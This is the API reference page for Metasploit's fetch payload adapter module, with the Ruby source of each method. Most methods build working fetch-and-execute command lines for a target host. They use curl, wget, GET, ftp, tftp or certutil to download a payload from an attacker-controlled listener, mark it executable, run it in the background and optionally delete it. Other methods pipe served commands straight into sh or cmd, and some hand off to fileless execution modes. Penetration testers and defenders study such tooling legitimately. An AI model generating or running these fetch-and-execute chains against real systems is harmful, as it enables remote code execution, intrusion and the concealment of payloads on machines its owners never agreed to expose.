Module: Msf::Payload::Adapter::Fetch

Includes:
Fileless
Included in:
HTTP, Https, SMB, TFTP
Defined in:
lib/msf/core/payload/adapter/fetch.rb

Defined Under Namespace

Modules: Fileless, HTTP, Https, LinuxOptions, SMB, TFTP, WindowsOptions

Instance Method Summary collapse

Methods included from Fileless

#_generate_fileless_bash_search, #_generate_fileless_python, #_generate_fileless_shell, #_generate_first_stage_shellcode, #_generate_jmp_instruction

Instance Method Details

#_check_tftp_filevoid

This method returns an undefined value.

Validates that the TFTP client can save the fetched file using the requested destination semantics.



302
303
304
305
306
307
308
# File 'lib/msf/core/payload/adapter/fetch.rb', line 302

def _check_tftp_file
  # Older Linux tftp clients do not support saving the file under a different name
  unless datastore['FETCH_WRITABLE_DIR'].blank? && datastore['FETCH_FILENAME'].blank?
    print_error('The Linux TFTP client does not support saving a file under a different name than the URI.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_WRITABLE_DIR and FETCH_FILENAME must be blank when using the tftp client')
  end
end

#_check_tftp_portvoid

This method returns an undefined value.

Validates that the TFTP listener is configured to use a reachable port for clients that only support port 69.



290
291
292
293
294
295
296
# File 'lib/msf/core/payload/adapter/fetch.rb', line 290

def _check_tftp_port
  # Most tftp clients do not have configurable ports
  if datastore['FETCH_SRVPORT'] != 69 && datastore['FetchListenerBindPort'].blank?
    print_error('The TFTP client can only connect to port 69; to start the server on a different port use FetchListenerBindPort and redirect the connection.')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_SRVPORT must be set to 69 when using the tftp client')
  end
end

#_determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s) ⇒ Rex::Socket::Comm

Parameters:

  • ip (String, nil)

    The listener IP address used to infer the best communication channel.

  • srv_comm (String) (defaults to: datastore['ListenerComm'].to_s)

    The requested listener communication channel.

Returns:

  • (Rex::Socket::Comm)

    The resolved communication object.

Raises:

  • (RuntimeError)

    If an explicitly requested session comm is invalid.



316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
# File 'lib/msf/core/payload/adapter/fetch.rb', line 316

def _determine_server_comm(ip, srv_comm = datastore['ListenerComm'].to_s)
  comm = nil

  case srv_comm
  when 'local'
    comm = ::Rex::Socket::Comm::Local
  when /\A-?[0-9]+\Z/
    comm = framework.sessions.get(srv_comm.to_i)
    raise("Socket Server Comm (Session #{srv_comm}) does not exist") unless comm
    raise("Socket Server Comm (Session #{srv_comm}) does not implement Rex::Socket::Comm") unless comm.is_a? ::Rex::Socket::Comm
  when nil, ''
    unless ip.nil?
      comm = Rex::Socket::SwitchBoard.best_comm(ip)
    end
  else
    raise("SocketServer Comm '#{srv_comm}' is invalid")
  end

  comm || ::Rex::Socket::Comm::Local
end

#_download_pipeString

Returns the pipe download URI used when serving commands over FETCH_PIPE.

Returns:

  • (String)

    The URI path and authority for the piped command payload.



86
87
88
# File 'lib/msf/core/payload/adapter/fetch.rb', line 86

def _download_pipe
  "#{srvnetloc}/#{@pipe_uri}"
end

#_execute_add(get_file_cmd) ⇒ String

Appends the platform-specific execution sequence to a fetch command.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated to execute the payload after download.



341
342
343
344
345
# File 'lib/msf/core/payload/adapter/fetch.rb', line 341

def _execute_add(get_file_cmd)
  return _execute_win(get_file_cmd) if windows?

  return _execute_nix(get_file_cmd)
end

#_execute_nix(get_file_cmd) ⇒ String

Appends POSIX execution and optional cleanup behavior to the supplied fetch command, including fileless execution modes when configured.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated for POSIX execution.



363
364
365
366
367
368
369
370
371
372
373
374
# File 'lib/msf/core/payload/adapter/fetch.rb', line 363

def _execute_nix(get_file_cmd)
  return _generate_fileless_shell(get_file_cmd, module_info['AdaptedArch']) if datastore['FETCH_FILELESS'] == 'shell'
  return _generate_fileless_bash_search(get_file_cmd) if datastore['FETCH_FILELESS'] == 'shell-search'
  return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'


  cmds = get_file_cmd
  cmds << ";chmod +x #{_remote_destination_nix}"
  cmds << ";#{_remote_destination_nix}&"
  cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
  cmds
end

#_execute_win(get_file_cmd) ⇒ String

Appends Windows execution and optional cleanup behavior to the supplied fetch command.

Parameters:

  • get_file_cmd (String)

    The command that retrieves the payload.

Returns:

  • (String)

    The command updated for Windows execution.



352
353
354
355
356
# File 'lib/msf/core/payload/adapter/fetch.rb', line 352

def _execute_win(get_file_cmd)
  cmds = " & start /B #{_remote_destination_win}"
  cmds << " & del #{_remote_destination_win}" if datastore['FETCH_DELETE']
  get_file_cmd << cmds
end

#_generate_certutil_commandString

Builds a certutil-based command line for fetching the payload on Windows.

Returns:

  • (String)

    The certutil fetch-and-execute command.



379
380
381
382
383
384
385
386
387
388
389
390
391
# File 'lib/msf/core/payload/adapter/fetch.rb', line 379

def _generate_certutil_command
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "certutil -urlcache -f http://#{download_uri} #{_remote_destination}"
  when 'HTTPS'
    # I don't think there is a way to disable cert check in certutil....
    print_error('CERTUTIL binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using CERTUTIL')
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_curl_commandString

Builds a curl-based command line for fetching the payload.

Returns:

  • (String)

    The curl fetch-and-execute command.



396
397
398
399
400
401
402
403
404
405
406
407
408
# File 'lib/msf/core/payload/adapter/fetch.rb', line 396

def _generate_curl_command
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "curl -so #{_remote_destination} http://#{download_uri}"
  when 'HTTPS'
    get_file_cmd = "curl -sko #{_remote_destination} https://#{download_uri}"
  when 'TFTP'
    get_file_cmd = "curl -so #{_remote_destination} tftp://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_curl_pipeString

Builds a curl command that streams a served command directly into a shell.

Returns:

  • (String)

    The curl pipe command.



413
414
415
416
417
418
419
420
421
422
423
424
# File 'lib/msf/core/payload/adapter/fetch.rb', line 413

def _generate_curl_pipe
  execute_cmd = 'sh'
  execute_cmd = 'cmd' if windows?
  case fetch_protocol
  when 'HTTP'
    return "curl -s http://#{_download_pipe}|#{execute_cmd}"
  when 'HTTPS'
    return "curl -sk https://#{_download_pipe}|#{execute_cmd}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#_generate_ftp_commandString

Builds an ftp command line for fetching the payload.

Returns:

  • (String)

    The ftp fetch-and-execute command.



472
473
474
475
476
477
478
479
480
481
482
483
484
# File 'lib/msf/core/payload/adapter/fetch.rb', line 472

def _generate_ftp_command
  case fetch_protocol
  when 'FTP'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
  when 'HTTP'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} http://#{download_uri}"
  when 'HTTPS'
    get_file_cmd = "ftp -Vo #{_remote_destination_nix} https://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_get_commandString

Builds a GET-based command line for fetching the payload.

Returns:

  • (String)

    The GET fetch-and-execute command.



429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
# File 'lib/msf/core/payload/adapter/fetch.rb', line 429

def _generate_get_command
  # Specifying the method (-m GET) is necessary on OSX
  case fetch_protocol
  when 'HTTP'
    get_file_cmd = "GET -m GET http://#{download_uri}>#{_remote_destination}"
  when 'HTTPS'
    # There is no way to disable cert check in GET ...
    print_error('GET binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
    get_file_cmd = "GET -m GET https://#{download_uri}>#{_remote_destination}"
  when 'FTP'
    get_file_cmd = "GET ftp://#{download_uri}>#{_remote_destination}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
  _execute_add(get_file_cmd)
end

#_generate_get_pipeString

Builds a GET command that streams a served command directly into a shell.

Returns:

  • (String)

    The GET pipe command.



450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
# File 'lib/msf/core/payload/adapter/fetch.rb', line 450

def _generate_get_pipe
  # Specifying the method (-m GET) is necessary on OSX
  execute_cmd = 'sh'
  execute_cmd = 'cmd' if windows?
  case fetch_protocol
  when 'HTTP'
    return "GET -m GET http://#{_download_pipe}|#{execute_cmd}"
  when 'HTTPS'
    # There is no way to disable cert check in GET ...
    print_error('GET binary does not support insecure mode')
    fail_with(Msf::Module::Failure::BadConfig, 'FETCH_CHECK_CERT must be true when using GET')
    return "GET -m GET https://#{_download_pipe}|#{execute_cmd}"
  when 'FTP'
    return "GET ftp://#{_download_pipe}|#{execute_cmd}"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#_generate_tftp_commandString

Builds a tftp command line for fetching the payload, including Linux fileless handling when supported.

Returns:

  • (String)

    The tftp fetch-and-execute command.



490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
# File 'lib/msf/core/payload/adapter/fetch.rb', line 490

def _generate_tftp_command
  _check_tftp_port
  case fetch_protocol
  when 'TFTP'
    if windows?
      fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}")
    else
      _check_tftp_file
      if datastore['FETCH_FILELESS'] != 'none' && linux?
        return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
      else
        fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
      end
    end
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  fetch_command
end

#_generate_tnftp_commandString

Builds a tnftp command line for fetching the payload.

Returns:

  • (String)

    The tnftp fetch-and-execute command.



513
514
515
516
517
518
519
520
521
522
523
524
525
# File 'lib/msf/core/payload/adapter/fetch.rb', line 513

def _generate_tnftp_command
  case fetch_protocol
  when 'FTP'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} ftp://#{download_uri}"
  when 'HTTP'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} http://#{download_uri}"
  when 'HTTPS'
    get_file_cmd = "tnftp -Vo #{_remote_destination_nix} https://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
  _execute_add(get_file_cmd)
end

#_generate_wget_commandString

Builds a wget-based command line for fetching the payload.

Returns:

  • (String)

    The wget fetch-and-execute command.



530
531
532
533
534
535
536
537
538
539
540
541
# File 'lib/msf/core/payload/adapter/fetch.rb', line 530

def _generate_wget_command
  case fetch_protocol
  when 'HTTPS'
    get_file_cmd = "wget -qO #{_remote_destination} --no-check-certificate https://#{download_uri}"
  when 'HTTP'
    get_file_cmd = "wget -qO #{_remote_destination} http://#{download_uri}"
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end

  _execute_add(get_file_cmd)
end

#_generate_wget_pipeString

Builds a wget command that streams a served command directly into a shell.

Returns:

  • (String)

    The wget pipe command.



546
547
548
549
550
551
552
553
554
555
# File 'lib/msf/core/payload/adapter/fetch.rb', line 546

def _generate_wget_pipe
  case fetch_protocol
  when 'HTTPS'
    return "wget --no-check-certificate -qO- https://#{_download_pipe}|sh"
  when 'HTTP'
    return "wget -qO- http://#{_download_pipe}|sh"
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported protocol: #{fetch_protocol.inspect}")
  end
end

#_remote_destinationString

Returns the platform-appropriate destination path used by download commands.

Returns:

  • (String)

    The payload destination path.



561
562
563
564
565
# File 'lib/msf/core/payload/adapter/fetch.rb', line 561

def _remote_destination
  return _remote_destination_win if windows?

  return _remote_destination_nix
end

#_remote_destination_nixString

Returns or memoizes the remote payload destination for POSIX targets.

Returns:

  • (String)

    The POSIX destination path or fileless placeholder.



570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
# File 'lib/msf/core/payload/adapter/fetch.rb', line 570

def _remote_destination_nix
  return @remote_destination_nix unless @remote_destination_nix.nil?

  if datastore['FETCH_FILELESS'] != 'none'
    @remote_destination_nix = '$f'
  else
    writable_dir = datastore['FETCH_WRITABLE_DIR']
    writable_dir = '.' if writable_dir.blank?
    writable_dir += '/' unless writable_dir[-1] == '/'
    payload_filename = datastore['FETCH_FILENAME']
    payload_filename = srvuri if payload_filename.blank?
    payload_path = writable_dir + payload_filename
    @remote_destination_nix = payload_path
  end
  @remote_destination_nix
end

#_remote_destination_winString

Returns or memoizes the remote payload destination for Windows targets.

Returns:

  • (String)

    The Windows destination path.



590
591
592
593
594
595
596
597
598
599
600
601
# File 'lib/msf/core/payload/adapter/fetch.rb', line 590

def _remote_destination_win
  return @remote_destination_win unless @remote_destination_win.nil?

  writable_dir = datastore['FETCH_WRITABLE_DIR']
  writable_dir += '\\' unless writable_dir.blank? || writable_dir[-1] == '\\'
  payload_filename = datastore['FETCH_FILENAME']
  payload_filename = srvuri if payload_filename.blank?
  payload_path = writable_dir + payload_filename
  payload_path += '.exe' unless payload_path[-4..] == '.exe'
  @remote_destination_win = payload_path
  @remote_destination_win
end

#default_srvuri(extra_data = nil) ⇒ String

If no fetch URL is provided, we generate one based off the underlying payload data This is because if we use a randomly-generated URI, the URI generated by venom and Framework will not match. This way, we can build a payload in venom and a listener in Framework, and if the underlying payload type/host/port are the same, the URI will be, too.

Parameters:

  • extra_data (String, nil) (defaults to: nil)

    Additional data to incorporate into the generated URI hash.

Returns:

  • (String)

    A stable URI-safe identifier for the served payload.



46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# File 'lib/msf/core/payload/adapter/fetch.rb', line 46

def default_srvuri(extra_data = nil)
  # If we're in framework, payload is in datastore; msfvenom has it in refname
  payload_name = datastore['payload'] ||= refname
  decoded_uri = payload_name.dup
  # there may be no transport, so leave the connection string off if that's the case
  netloc = ''
  if module_info['ConnectionType'].upcase == 'REVERSE' || module_info['ConnectionType'].upcase == 'TUNNEL'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['LPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['LPORT']}"
      else
        netloc = "#{netloc}:#{datastore['LPORT']}"
      end
    end
  elsif module_info['ConnectionType'].upcase == 'BIND'
    netloc << datastore['LHOST'] unless datastore['LHOST'].blank?
    unless datastore['RPORT'].blank?
      if Rex::Socket.is_ipv6?(netloc)
        netloc = "[#{netloc}]:#{datastore['RPORT']}"
      else
        netloc = "#{netloc}:#{datastore['RPORT']}"
      end
    end
  end
  decoded_uri << ";#{netloc}"
  decoded_uri << ";#{extra_data}" unless extra_data.nil?
  Base64.urlsafe_encode64(OpenSSL::Digest::MD5.new(decoded_uri).digest, padding: false)
end

#download_uriString

Returns the payload download URI served by the fetch listener.

Returns:

  • (String)

    The URI path and authority for the generated payload.



79
80
81
# File 'lib/msf/core/payload/adapter/fetch.rb', line 79

def download_uri
  "#{srvnetloc}/#{srvuri}"
end

#fetch_bindhostString

Returns the interface the fetch service should bind to.

Returns:

  • (String)

    The bind address for the local fetch listener.



93
94
95
# File 'lib/msf/core/payload/adapter/fetch.rb', line 93

def fetch_bindhost
  datastore['FetchListenerBindAddress'].blank? ? srvhost : datastore['FetchListenerBindAddress']
end

#fetch_bindnetlocString

Returns the authority string used by the fetch listener socket.

Returns:

  • (String)

    The host:port pair for the fetch listener.



107
108
109
# File 'lib/msf/core/payload/adapter/fetch.rb', line 107

def fetch_bindnetloc
  Rex::Socket.to_authority(fetch_bindhost, fetch_bindport)
end

#fetch_bindportInteger

Returns the TCP port the fetch service should bind to.

Returns:

  • (Integer)

    The bind port for the local fetch listener.



100
101
102
# File 'lib/msf/core/payload/adapter/fetch.rb', line 100

def fetch_bindport
  datastore['FetchListenerBindPort'].blank? ? srvport : datastore['FetchListenerBindPort']
end

#generate(opts = {}) ⇒ String

Builds an adapted payload executable, starts any required pipe command state, and returns the remote command that should fetch and execute the payload.

Parameters:

  • opts (Hash) (defaults to: {})

    Payload generation options.

Returns:

  • (String)

    The fetch command to run on the target.



126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
# File 'lib/msf/core/payload/adapter/fetch.rb', line 126

def generate(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  opts[:code] = super
  @srvexe = generate_payload_exe(opts)
  if datastore['FETCH_PIPE']
    unless pipe_supported_binaries.include?(datastore['FETCH_COMMAND'].upcase)
      fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
    end
    @pipe_cmd = generate_fetch_commands
    @pipe_cmd << "\n" if windows? #need CR when we pipe command in Windows
    vprint_status("Command served: #{@pipe_cmd}")
    cmd = generate_pipe_command
  else
    cmd = generate_fetch_commands
  end
  vprint_status("Command to run on remote host: #{cmd}")
  cmd
end

#generate_fetch_commandsString

Dispatches command generation to the selected FETCH_COMMAND helper.

Returns:

  • (String)

    The generated fetch-and-execute command.



167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
# File 'lib/msf/core/payload/adapter/fetch.rb', line 167

def generate_fetch_commands
  # TODO: Make a check method that determines if we support a platform/server/command combination
  #
  case datastore['FETCH_COMMAND'].upcase
  when 'FTP'
    return _generate_ftp_command
  when 'TNFTP'
    return _generate_tnftp_command
  when 'WGET'
    return _generate_wget_command
  when 'GET'
    return _generate_get_command
  when 'CURL'
    return _generate_curl_command
  when 'TFTP'
    return _generate_tftp_command
  when 'CERTUTIL'
    return _generate_certutil_command
  else
    fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
  end
end

#generate_payload_uuid(conf = {}) ⇒ PayloadUUID

Generates a payload UUID using the adapted platform and architecture by default.

Parameters:

  • conf (Hash) (defaults to: {})

    UUID generation options.

Returns:

  • (PayloadUUID)

    The generated payload UUID.



205
206
207
208
209
# File 'lib/msf/core/payload/adapter/fetch.rb', line 205

def generate_payload_uuid(conf = {})
  conf[:arch] ||= module_info['AdaptedArch']
  conf[:platform] ||= module_info['AdaptedPlatform']
  super
end

#generate_pipe_commandString

Builds the fetch command used to execute a payload directly from a pipe.

Returns:

  • (String)

    The pipe-based execution command.



148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
# File 'lib/msf/core/payload/adapter/fetch.rb', line 148

def generate_pipe_command
  # TODO: Make a check method that determines if we support a platform/server/command combination
  @pipe_uri = pipe_srvuri

  case datastore['FETCH_COMMAND'].upcase
  when 'WGET'
    return _generate_wget_pipe
  when 'GET'
    return _generate_get_pipe
  when 'CURL'
    return _generate_curl_pipe
  else
    fail_with(Msf::Module::Failure::BadConfig, "Unsupported binary selected for FETCH_PIPE option: #{datastore['FETCH_COMMAND']}, must be one of #{pipe_supported_binaries}.")
  end
end

#generate_stage(opts = {}) ⇒ String

Generates the stage using the adapted architecture when one is not explicitly provided.

Parameters:

  • opts (Hash) (defaults to: {})

    Stage generation options.

Returns:

  • (String)

    The generated stage contents.



195
196
197
198
# File 'lib/msf/core/payload/adapter/fetch.rb', line 195

def generate_stage(opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#handle_connection(conn, opts = {}) ⇒ Object

Handles a new incoming connection while ensuring the adapted architecture is supplied to the parent implementation.

Parameters:

  • conn (Object)

    The connection object being handled.

  • opts (Hash) (defaults to: {})

    Connection handling options.

Returns:

  • (Object)

    The result from the parent handler.



217
218
219
220
# File 'lib/msf/core/payload/adapter/fetch.rb', line 217

def handle_connection(conn, opts = {})
  opts[:arch] ||= module_info['AdaptedArch']
  super
end

#initialize(*args) ⇒ void

Initializes the fetch adapter state and registers datastore options used to stage and serve the adapted payload.

Parameters:

  • args (Array)

    Arguments forwarded to the parent payload initializer.



9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# File 'lib/msf/core/payload/adapter/fetch.rb', line 9

def initialize(*args)
  super
  register_options(
    [
      Msf::OptBool.new('FETCH_DELETE', [true, 'Attempt to delete the binary after execution', false]),
      Msf::OptPort.new('FETCH_SRVPORT', [true, 'Local port to use for serving payload', 8080]),
      # FETCH_SRVHOST defaults to LHOST, but if the payload doesn't connect back to Metasploit (e.g. adduser, messagebox, etc.) then FETCH_SRVHOST needs to be set
      Msf::OptAddressRoutable.new('FETCH_SRVHOST', [ !options['LHOST']&.required, 'Local IP to use for serving payload']),
      Msf::OptString.new('FETCH_URIPATH', [ false, 'Local URI to use for serving payload', '']),
    ]
  )
  register_advanced_options(
    [
      Msf::OptAddress.new('FetchListenerBindAddress', [ false, 'The specific IP address to bind to to serve the payload if different from FETCH_SRVHOST']),
      Msf::OptPort.new('FetchListenerBindPort', [false, 'The port to bind to if different from FETCH_SRVPORT']),
      Msf::OptBool.new('FetchHandlerDisable', [true, 'Disable fetch handler', false])
    ]
  )
  @fetch_service = nil
  @myresources = []
  @srvexe = ''
  @pipe_uri = nil
  @pipe_cmd = nil
  @remote_destination_win = nil
  @remote_destination_nix = nil
  @windows = nil
end

#linux?Boolean

Indicates whether the adapted payload targets Linux.

Returns:

  • (Boolean)

    True when the first adapted platform is Linux.



279
280
281
282
283
284
# File 'lib/msf/core/payload/adapter/fetch.rb', line 279

def linux?
  return @linux unless @linux.nil?

  @linux = platform.platforms.first == Msf::Module::Platform::Linux
  @linux
end

#pipe_srvuriString

Returns the URI path used when serving commands through FETCH_PIPE.

Returns:

  • (String)

    The pipe command URI path.



260
261
262
263
264
# File 'lib/msf/core/payload/adapter/fetch.rb', line 260

def pipe_srvuri
  return datastore['FETCH_URIPATH'] unless datastore['FETCH_URIPATH'].blank?

  default_srvuri('pipe')
end

#pipe_supported_binariesArray<String>

Lists supported binaries that can execute commands piped directly from the fetch server.

Returns:

  • (Array<String>)

    The set of supported pipe-capable binaries.



115
116
117
118
119
# File 'lib/msf/core/payload/adapter/fetch.rb', line 115

def pipe_supported_binaries
  # this is going to expand when we add psh support
  return %w[CURL] if windows?
  %w[WGET GET CURL]
end

#srvhostString

Returns the configured host used to serve the adapted payload.

Returns:

  • (String)

    The payload service host.



225
226
227
228
229
230
# File 'lib/msf/core/payload/adapter/fetch.rb', line 225

def srvhost
  host = datastore['FETCH_SRVHOST']
  host = datastore['LHOST'] if host.blank?
  host = '127.127.127.127' if host.blank?
  host
end

#srvnetlocString

Returns the authority string for the payload fetch service.

Returns:

  • (String)

    The host:port pair used in generated download URLs.



235
236
237
# File 'lib/msf/core/payload/adapter/fetch.rb', line 235

def srvnetloc
  Rex::Socket.to_authority(srvhost, srvport)
end

#srvportInteger

Returns the configured port used to serve the adapted payload.

Returns:

  • (Integer)

    The payload service port.



242
243
244
# File 'lib/msf/core/payload/adapter/fetch.rb', line 242

def srvport
  datastore['FETCH_SRVPORT']
end

#srvuriString

Returns the URI path used to serve the payload or a deterministic default when one has not been explicitly configured.

Returns:

  • (String)

    The payload download URI path.



250
251
252
253
254
255
# File 'lib/msf/core/payload/adapter/fetch.rb', line 250

def srvuri
  # If the user has selected FETCH_PIPE, we save any user-defined uri for the pipe command
  return default_srvuri if datastore['FETCH_PIPE'] || datastore['FETCH_URIPATH'].blank?

  datastore['FETCH_URIPATH']
end

#windows?Boolean

Indicates whether the adapted payload targets Windows.

Returns:

  • (Boolean)

    True when the first adapted platform is Windows.



269
270
271
272
273
274
# File 'lib/msf/core/payload/adapter/fetch.rb', line 269

def windows?
  return @windows unless @windows.nil?

  @windows = platform.platforms.first == Msf::Module::Platform::Windows
  @windows
end